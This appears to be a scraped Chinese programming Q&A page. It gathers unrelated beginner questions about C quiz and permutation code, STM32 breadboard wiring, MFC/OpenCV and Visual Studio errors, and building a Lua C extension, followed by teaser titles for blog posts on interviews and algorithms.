i=0; //确保是0 error=0 ; printf("Please input your ID:"); fflush(stdin); //清空缓存 准备输入时 防止干扰 gets(ID_NUM); //输入字符串 while(ID_NUM[i]!='\0') //判断循环 ID是否正确 =\0时是结尾 { if(i<2) { if(ID_NUM[i]>'Z'||ID_NUM[i]<'A') //反面 不在A-Z 错误 { error=1; break; } i++; } else { if(ID_NUM[i]<'0'||ID_NUM[i]>'9') { error=1; break; } i++; } } if(error==1||i!=6) //出现错误或个数错误 { printf("error!\n") ; continue; //跳出本次循环 下次循环继续 重新输入ID } strcpy(user.ID,ID_NUM); //复制函数 临时文件存储 menu(); //菜单函数 选择4个选项 } printf("funcA() START!!\n"); start=clock(); funcA(); finish=clock(); printf("funcA() END!!\n"); duration=(double)(finish-start)/CLOCKS_PER_SEC; printf("%.0f 毫秒\n",duration*1000); return 0; } int menu() { int in; // while(1) //不断循环 { printf("(1)Start a test\n(2)Check score\n(3)Exit\n(4)New log(ID) into\n"); scanf("%d",&in); switch(in) //多重选择判断 { case 1: user.score=test(); //test函数返回分数 W_file(); //调用函数形成文件 break; case 2: check(); break; //跳出WHILE case 3: quit=0; //退出 printf("Thanks for your using!\nSee you next time.\n" ); return; // 跳出MENU case 4: return; default: printf("error!\n"); //输入其他 break; } } } printf("Prob. |Correct Answ.|Ur Answ.\n"); for(i=0;i<test_NUM;i++) { type=T[i].t; switch(type) //格式化输出 { case 1: printf("%3d *%5d|%13d|%8d\n",T[i].n1,T[i].n2,T[i].c_A,T[i].u_A); break; case 2: printf("%3d /%5d|%13d|%8d\n",T[i].n1,T[i].n2,T[i].c_A,T[i].u_A); break; case 3: printf("%3d +%5d|%13d|%8d\n",T[i].n1,T[i].n2,T[i].c_A,T[i].u_A); break; default: printf("%3d -%5d|%13d|%8d\n",T[i].n1,T[i].n2,T[i].c_A,T[i].u_A); break; } } getch();//return score; } void W_file() // { FILE *fp; if ((fp = fopen("score.txt", "a+")) == NULL) { printf("File not found!\n"); return; } fprintf(fp,"%s %d\n",user.ID,user.score); fclose(fp); } int random1() { srand(time(0)); return (rand()%4+1); } int random2(int i) { srand(time(0)+i); return (rand()%100); } int random3(int i) { srand(time(0)+i); return (rand()%11); } int random4(int i) { srand(time(0)+i); return (rand()%50); } void check() //反馈信息 { char ID[6]; int score; FILE *fp; if ((fp = fopen("score.txt", "r+")) == NULL) { printf("File not found!\n"); return; } fscanf(fp,"%s %d",ID,&score); //调用文件 while(!feof(fp)) { printf("ID:%s|Score:%d\n",ID,score); fscanf(fp,"%s %d",ID,&score); } fclose(fp); } ```
三连击(升级版)大佬们帮我看看 只有40分
题目描述 将1,2,…,9共9个数分成三组,分别组成三个三位数,且使这三个三位数的比例是A:B:C,试求出所有满足条件的三个三位数,若无解,输出“No!!!”。 //感谢黄小U饮品完善题意 输入格式 三个数,A B C。 输出格式 若干行,每行3个数字。按照每行第一个数字升序排列。 输入输出样例 输入 #1 复制 1 2 3 输出 #1 复制 192 384 576 219 438 657 273 546 819 327 654 981 说明/提示 保证A<B<C ## 代码如下: #include<stdio.h> int main() { int a[10],b1,b2,b3,c1,c2,c3,d1,d2,d3,ans=0,i,j,k; scanf("%d%d%d",&c1,&c2,&c3); for(i=123;i<=1000/c3;i++) { b1=i*c1; b2=i*c2; b3=i*c3; d1=b1; d2=b2; d3=b3; for(j=1;j<=3;j++) { a[b1%10]++; b1/=10; } for(j=1;j<=3;j++) { a[b2%10]++; b2/=10; } for(j=1;j<=3;j++) { a[b3%10]++; b3/=10; } for(j=1;j<=9;j++) if(a[j]!=1) { k=1; break; } for(j=1;j<=9;j++) a[j]=0; if(k==0) { printf("%d %d %d\n",d1,d2,d3); ans++; } else k=0; } if(ans==0) printf("NO!!"); return 0; } ![图片说明](https://img-ask.csdn.net/upload/201907/28/1564314951_225276.jpg)
如何用 面包板 来扩展 ARM开发板(STM32F767) ?
我先来描述一下我的问题。(因为我是一个小白,所以我的问题本身可能就不成立) () 我暑假留校做比赛,课题是ARM开发,使用的是STM32F767,由于板子上的3v3和5v插口有限(各有一个),我们要用的传感器较多,所以想到了使用面包板来扩展 开发板,如下图: () ![图片说明](https://img-ask.csdn.net/upload/201907/27/1564211671_833410.jpg) 图中两根灰色的线给面包板供了电(我们知道这种方法可能不太正确,但的确达到了使用目的) () 图中的蓝绿黄线所连接的是一个传感器,蓝绿线连接的分别是 3v3 和 负极,用于供电,黄色的线 是一个 DO输出(输出 0 或 1),这样连接之后,传感器可以正常的工作, () 但是我们想进一步改进,想法如下图: ![图片说明](https://img-ask.csdn.net/upload/201907/27/1564212073_239028.png) 直接将传感器插在面包板上使用,但是我们不知道 如何在面包板上复制ARM开发板上的引脚,在程序中 也就不能得到 DO输出。 () 我就想询问一下,我上面提到的 直接将传感器插上去使用的想法 可以实现吗? 是不是我的天方夜谭?
ASSERTE((unsigned)(c + 1) <= 256)这行出现问题
之前代码好好的今天没动就报了错误![图片说明](https://img-ask.csdn.net/upload/201501/12/1421050152_650166.png) 按照网上的方法修改语言->默认Char无符号无用 就是单击这段代码报的错误 void PlayDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 capture1=cvCreateFileCapture("E:\\动\\未击中.mpg"); capture2=cvCreateFileCapture("E:\\动\\击中持刀手臂(备选).mpg"); //CButton *pBtn=(CButton*)GetDlgItem(IDC_BUTTON3); int fps=1; while(fps<=235){ img1 = cvQueryFrame(capture1); img2 = cvQueryFrame(capture2); CvvImage m_CvvImg1; CvvImage m_CvvImg2; m_CvvImg1.CopyOf(img1,1); //复制该帧图像 m_CvvImg2.CopyOf(img2,1); //复制该帧图像 m_CvvImg1.DrawToHDC(hDC, &rect); //显示到设备的矩形框内 if(fps==94){ m_CvvImg1.DrawToHDC(hDC2, &rect2); //显示到设备的矩形框内 m_CvvImg2.DrawToHDC(hDC, &rect); //显示到设备的矩形框内 } fps++; } }
VC2015 对话框类向导异常,请教高手可能是什么原因引起?
VC2015 SDI程序。 出错的过程是这样的:在出错前,已经成功创建了很多个对话框,都没有问题。然后: 1、需要再新建一个对话框。因为和既有的一个对话框很相似,所以,就在“资源视图”中复制,然后粘贴。 2、更改粘贴后的对话框ID。 3、选中对话框,“添加类”,成功。 4、想给对话框中的控件设置变量,因此,点击“类向导”,此时,出错了。如下图: ![图片说明](https://img-ask.csdn.net/upload/201908/21/1566377738_704155.jpg) 5、点击“确定”,弹出的界面如下: ![图片说明](https://img-ask.csdn.net/upload/201908/21/1566377829_264005.jpg) 项目、类名以及资源、等等都是空的。 6、手工选择项目和类名,可以成功。也可以正常定义变量、添加函数等等。后续的操作、编程等都没有问题。就是这一步需要手工选择项目和类名。 请教高手:这可能是什么原因导致的。该如何解决? 非常感谢!!!
如何编译与 lua 交互的c++文件 成 so 请帮帮我这个新手 我要崩溃了
我最近在做一些游戏脚本的开发,使用的是lua 语言. 但是在使用的时候,总感觉脚本平台 提供的函数威力不够大. 就想这自己去扩展一些使用的功能出来. 以前学过一点c++ 想着 用opencv 做一些小功能 应该不是太难. 但是我在做的时候第一步就遇到了大麻烦. 主要就是 吧c++代码编译成so 总是弄不成 找来了代码 ``` #include <lua.h> #include <luaxlib.h> #include <stdio.h> static int log(lua_State *L){ int num = luaL_checkinteger(L, 1); printf("log num :%d", num); return 0; } static int logEx(lua_State *L){ size_t len = 0; const char* str = lua_checkstring(L, 1, &len); print("logEx %s %d", str, len); return 0 } int luaopen_mylib(lua_State *L){ luaL_Reg = libs[] = { {"log", log}, {"logEx", log}, {nullptr, nullptr} } luaL_newlib(L, 1); return 1; } ``` 接下来就是编译了 ,然后噩梦来, 我从来没用过 linux 就想着能不能在Windows下生成so 上网找了一下 好像 用Android 的ndk 应该是可以的 然后继续找资料是 大致学习了下 make cmake 是怎么回事 还有 Android.mk 等等 就开始搞了 ,但是中间不停的出问题 , 最后到了这一步我做不下去了. ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103296_540188.png) 上面这个是代码 ,没什么问题 . ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103335_772386.png) 这个是 错误提示 但是他太奇怪了 他说找不到 这个符号 但是 这些明明已经在上面的头文件里面声明了 我也正确引用了 怎么会找不到? 而且你们看上面的语法高亮. 明明是找到了的. 我按转到声明也能,正确找到相关头文件. 后来 直接 吧头文件 内容 直接复制到这里面也不行 还是出现这种错误. 在然后我干脆放弃 在Windows下生成了 在Linux 中依然也是 这种错误 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103838_487086.png) ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103850_572980.png) 在Android.mk 中我也指定了 头文件所在目录 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103916_398817.png) ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103927_800082.png) 文件也没差 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559103942_740451.png) 结果是一样的 后来换用了 clion ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559104062_47637.png) 居然能生成 一切看起来 多么美好 拿到手机上测试一下吧 实际使用 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559104374_80087.png) 好吧 64位!!!!!! 查资料 改 32位 改好了 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559104485_471256.png) 这又是什么鬼 继续查资料 好吧好像是编译器的问题 改吧 加参数 ![图片说明](https://img-ask.csdn.net/upload/201905/29/1559104642_420202.png) 好吧到这一步我已经完全 看不懂了 连资料都没得查 为了这个东西我已经搞了好几天了 绝大部分都是在查资料学习 说实话 反复的失败真的很打击人 不知道是不是一开始我的方向就走错了 导致越走越歪 有相关经验朋友 能给提个可行的解决方案吗
动态规划入门到熟悉,看不懂来打我啊
持续更新。。。。。。 2.1斐波那契系列问题 2.2矩阵系列问题 2.3跳跃系列问题 3.1 01背包 3.2 完全背包 3.3多重背包 3.4 一些变形选讲 2.1斐波那契系列问题 在数学上,斐波纳契数列以如下被以递归的方法定义:F(0)=0,F(1)=1, F(n)=F(n-1)+F(n-2)(n&gt;=2,n∈N*)根据定义,前十项为1, 1, 2, 3...
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私...
对计算机专业来说学历真的重要吗?
我本科学校是渣渣二本,研究生学校是985,现在毕业五年,校招笔试、面试,社招面试参加了两年了,就我个人的经历来说下这个问题。 这篇文章很长,但绝对是精华,相信我,读完以后,你会知道学历不好的解决方案,记得帮我点赞哦。 先说结论,无论赞不赞同,它本质就是这样:对于技术类工作而言,学历五年以内非常重要,但有办法弥补。五年以后,不重要。 目录: 张雪峰讲述的事实 我看到的事实 为什么会这样 ...
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
Python 植物大战僵尸代码实现(2):植物卡片选择和种植
这篇文章要介绍的是: - 上方植物卡片栏的实现。 - 点击植物卡片,鼠标切换为植物图片。 - 鼠标移动时,判断当前在哪个方格中,并显示半透明的植物作为提示。
防劝退!数据结构和算法难理解?可视化动画带你轻松透彻理解!
大家好,我是 Rocky0429,一个连数据结构和算法都不会的蒟蒻… 学过数据结构和算法的都知道这玩意儿不好学,没学过的经常听到这样的说法还没学就觉得难,其实难吗?真难! 难在哪呢?当年我还是个小蒟蒻,初学数据结构和算法的时候,在忍着枯燥看完定义原理,之后想实现的时候,觉得它们的过程真的是七拐八绕,及其难受。 在简单的链表、栈和队列这些我还能靠着在草稿上写写画画理解过程,但是到了数论、图...
【搞定 Java 并发面试】面试最常问的 Java 并发基础常见面试题总结!
本文为 SnailClimb 的原创,目前已经收录自我开源的 JavaGuide 中(61.5 k Star!【Java学习 面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。欢迎 Star!)。 另外推荐一篇原创:终极推荐!可能是最适合你的Java学习路线 方法 网站 书籍推荐! Java 并发基础常见面试题总结 1. 什么是线程和进程? 1.1. 何为进程? 进程是程...
西游记团队中如果需要裁掉一个人,会先裁掉谁?
2019年互联网寒冬,大批企业开始裁员,下图是网上流传的一张截图: 裁员不可避免,那如何才能做到不管大环境如何变化,自身不受影响呢? 我们先来看一个有意思的故事,如果西游记取经团队需要裁员一名,会裁掉谁呢,为什么? 西游记团队组成: 1.唐僧 作为团队teamleader,有很坚韧的品性和极高的原则性,不达目的不罢休,遇到任何问题,都没有退缩过,又很得上司支持和赏识(直接得到唐太宗的任命,既给
shell脚本:备份数据库、代码上线
备份MySQL数据库 场景: 一台MySQL服务器,跑着5个数据库,在没有做主从的情况下,需要对这5个库进行备份 需求: 1)每天备份一次,需要备份所有的库 2)把备份数据存放到/data/backup/下 3)备份文件名称格式示例:dbname-2019-11-23.sql 4)需要对1天以前的所有sql文件压缩,格式为gzip 5)本地数据保留1周 6)需要把备份的数据同步到远程备份中心,假如...
iOS Bug 太多,苹果终于坐不住了!
开源的 Android 和闭源的 iOS,作为用户的你,更偏向哪一个呢? 整理 | 屠敏 出品 | CSDN(ID:CSDNnews) 毋庸置疑,当前移动设备操作系统市场中,Android 和 iOS 作为两大阵营,在相互竞争的同时不断演进。不过一直以来,开源的 Android 吸引了无数的手机厂商涌入其中,为其生态带来了百花齐放的盛景,但和神秘且闭源的 iOS 系统相比,不少网友...
神经⽹络可以计算任何函数的可视化证明
《Neural Networks and Deep Learning》读书笔记第四篇本章其实和前面章节的关联性不大,所以大可将本章作为小短文来阅读,当然基本的深度学习基础还是要有的。主要介绍了神经⽹络拥有的⼀种普遍性,比如说不管目标函数是怎样的,神经网络总是能够对任何可能的输入,其值(或者说近似值)是网络的输出,哪怕是多输入和多输出也是如此,我们大可直接得出一个结论:不论我们想要计算什么样的函数,...
聊聊C语言和指针的本质
坐着绿皮车上海到杭州,24块钱,很宽敞,在火车上非正式地聊几句。 很多编程语言都以 “没有指针” 作为自己的优势来宣传,然而,对于C语言,指针却是与生俱来的。 那么,什么是指针,为什么大家都想避开指针。 很简单, 指针就是地址,当一个地址作为一个变量存在时,它就被叫做指针,该变量的类型,自然就是指针类型。 指针的作用就是,给出一个指针,取出该指针指向地址处的值。为了理解本质,我们从计算机模型说起...
为什么你学不过动态规划?告别动态规划,谈谈我的经验
动态规划难吗?说实话,我觉得很难,特别是对于初学者来说,我当时入门动态规划的时候,是看 0-1 背包问题,当时真的是一脸懵逼。后来,我遇到动态规划的题,看的懂答案,但就是自己不会做,不知道怎么下手。就像做递归的题,看的懂答案,但下不了手,关于递归的,我之前也写过一篇套路的文章,如果对递归不大懂的,强烈建议看一看:为什么你学不会递归,告别递归,谈谈我的经验 对于动态规划,春招秋招时好多题都会用到动态...
程序员一般通过什么途径接私活?
二哥,你好,我想知道一般程序猿都如何接私活,我也想接,能告诉我一些方法吗? 上面是一个读者“烦不烦”问我的一个问题。其实不止是“烦不烦”,还有很多读者问过我类似这样的问题。 我接的私活不算多,挣到的钱也没有多少,加起来不到 20W。说实话,这个数目说出来我是有点心虚的,毕竟太少了,大家轻喷。但我想,恰好配得上“一般程序员”这个称号啊。毕竟苍蝇再小也是肉,我也算是有经验的人了。 唾弃接私活、做外...
字节跳动面试官这样问消息队列:分布式事务、重复消费、顺序消费,我整理了一下
你知道的越多,你不知道的越多 点赞再看,养成习惯 GitHub上已经开源 https://github.com/JavaFamily 有一线大厂面试点脑图、个人联系方式和人才交流群,欢迎Star和完善 前言 消息队列在互联网技术存储方面使用如此广泛,几乎所有的后端技术面试官都要在消息队列的使用和原理方面对小伙伴们进行360°的刁难。 作为一个在互联网公司面一次拿一次Offer的面霸...
如何安装 IntelliJ IDEA 最新版本——详细教程
IntelliJ IDEA 简称 IDEA,被业界公认为最好的 Java 集成开发工具,尤其在智能代码助手、代码自动提示、代码重构、代码版本管理(Git、SVN、Maven)、单元测试、代码分析等方面有着亮眼的发挥。IDEA 产于捷克,开发人员以严谨著称的东欧程序员为主。IDEA 分为社区版和付费版两个版本。 我呢,一直是 Eclipse 的忠实粉丝,差不多十年的老用户了。很早就接触到了 IDEA...
面试还搞不懂redis,快看看这40道面试题(含答案和思维导图)
Redis 面试题 1、什么是 Redis?. 2、Redis 的数据类型? 3、使用 Redis 有哪些好处? 4、Redis 相比 Memcached 有哪些优势? 5、Memcache 与 Redis 的区别都有哪些? 6、Redis 是单进程单线程的? 7、一个字符串类型的值能存储最大容量是多少? 8、Redis 的持久化机制是什么?各自的优缺点? 9、Redis 常见性...
大学四年自学走来,这些珍藏的「实用工具/学习网站」我全贡献出来了
知乎高赞:文中列举了互联网一线大厂程序员都在用的工具集合,涉及面非常广,小白和老手都可以进来看看,或许有新收获。
为什么要推荐大家学习字节码?
配套视频: 为什么推荐大家学习Java字节码 https://www.bilibili.com/video/av77600176/ 一、背景 本文主要探讨:为什么要学习 JVM 字节码? 可能很多人会觉得没必要,因为平时开发用不到,而且不学这个也没耽误学习。 但是这里分享一点感悟,即人总是根据自己已经掌握的知识和技能来解决问题的。 这里有个悖论,有时候你觉得有些技术没用恰恰是...
互联网公司的裁员,能玩出多少种花样?
裁员,也是一门学问,可谓博大精深!以下,是互联网公司的裁员的多种方法:-正文开始-135岁+不予续签的理由:千禧一代网感更强。95后不予通过试用期的理由:已婚已育员工更有责任心。2通知接下来要过苦日子,让一部分不肯同甘共苦的员工自己走人,以“兄弟”和“非兄弟”来区别员工。3强制996。员工如果平衡不了工作和家庭,可在离婚或离职里二选一。4不布置任何工作,但下班前必须提交千字工作日报。5不给活干+...
【超详细分析】关于三次握手与四次挥手面试官想考我们什么?
在面试中,三次握手和四次挥手可以说是问的最频繁的一个知识点了,我相信大家也都看过很多关于三次握手与四次挥手的文章,今天的这篇文章,重点是围绕着面试,我们应该掌握哪些比较重要的点,哪些是比较被面试官给问到的,我觉得如果你能把我下面列举的一些点都记住、理解,我想就差不多了。 三次握手 当面试官问你为什么需要有三次握手、三次握手的作用、讲讲三次三次握手的时候,我想很多人会这样回答: 首先很多人会先讲下握...
新程序员七宗罪
当我发表这篇文章《为什么每个工程师都应该开始考虑开发中的分析和编程技能呢?》时,我从未想到它会对读者产生如此积极的影响。那些想要开始探索编程和数据科学领域的人向我寻求建议;还有一些人问我下一篇文章的发布日期;还有许多人询问如何顺利过渡到这个职业。我非常鼓励大家继续分享我在这个旅程的经验,学习,成功和失败,以帮助尽可能多的人过渡到一个充满无数好处和机会的职业生涯。亲爱的读者,谢谢你。 -罗伯特。 ...
活到老,学到老,程序员也该如此
全文共2763字,预计学习时长8分钟 图片来源:Pixabay 此前,“网传阿里巴巴要求尽快实现P8全员35周岁以内”的消息闹得沸沸扬扬。虽然很快被阿里辟谣,但苍蝇不叮无缝的蛋,无蜜不招彩蝶蜂。消息从何而来?真相究竟怎样?我们无从而知。我们只知道一个事实:不知从何时开始,程序猿也被划在了“吃青春饭”行业之列。 饱受“996ICU”摧残后,好不容易“头秃了变强了”,即将步入为“高...
Vue快速实现通用表单验证
本文开篇第一句话,想引用鲁迅先生《祝福》里的一句话,那便是:“我真傻,真的,我单单知道后端整天都是CRUD,我没想到前端整天都是Form表单”。这句话要从哪里说起呢?大概要从最近半个月的“全栈工程师”说起。项目上需要做一个城市配载的功能,顾名思义,就是通过框选和拖拽的方式在地图上完成配载。博主选择了前后端分离的方式,在这个过程中发现:首先,只要有依赖jQuery的组件,譬如Kendoui,即使使用...
2019年Spring Boot面试都问了什么?快看看这22道面试题!
Spring Boot 面试题 1、什么是 Spring Boot? 2、Spring Boot 有哪些优点? 3、什么是 JavaConfig? 4、如何重新加载 Spring Boot 上的更改,而无需重新启动服务器? 5、Spring Boot 中的监视器是什么? 6、如何在 Spring Boot 中禁用 Actuator 端点安全性? 7、如何在自定义端口上运行 Sprin...
【图解】记一次手撕算法面试:字节跳动的面试官把我四连击了
字节跳动这家公司,应该是所有秋招的公司中,对算法最重视的一个了,每次面试基本都会让你手撕算法,今天这篇文章就记录下当时被问到的几个算法题,并且每个算法题我都详细着给出了最优解,下面再现当时的面试场景。看完一定让你有所收获 一、小牛试刀:有效括号 大部分情况下,面试官都会问一个不怎么难的问题,不过你千万别太开心,因为这道题往往可以拓展出更多有难度的问题,或者一道题看起来很简单,但是给出最优解,确实很...
关于裁员几点看法及建议
最近网易裁员事件引起广泛关注,昨天网易针对此事,也发了声明,到底谁对谁错,孰是孰非?我们作为吃瓜观众实在是知之甚少,所以不敢妄下定论。身处软件开发这个行业,近一两年来,对...
面试官:关于Java性能优化,你有什么技巧
通过使用一些辅助性工具来找到程序中的瓶颈,然后就可以对瓶颈部分的代码进行优化。 一般有两种方案:即优化代码或更改设计方法。我们一般会选择后者,因为不去调用以下代码要比调用一些优化的代码更能提高程序的性能。而一个设计良好的程序能够精简代码,从而提高性能。 下面将提供一些在JAVA程序的设计和编码中,为了能够提高JAVA程序的性能,而经常采用的一些方法和技巧。 1.对象的生成和大小的调整。 J...
相关热词 c# 数组类型 泛型约束 c#的赛狗日程序 c# 传递数组 可变参数 c# 生成存储过程 c# list 补集 c#获得所有窗体 c# 当前秒数转成年月日 c#中的枚举 c# 计算校验和 连续随机数不重复c#
立即提问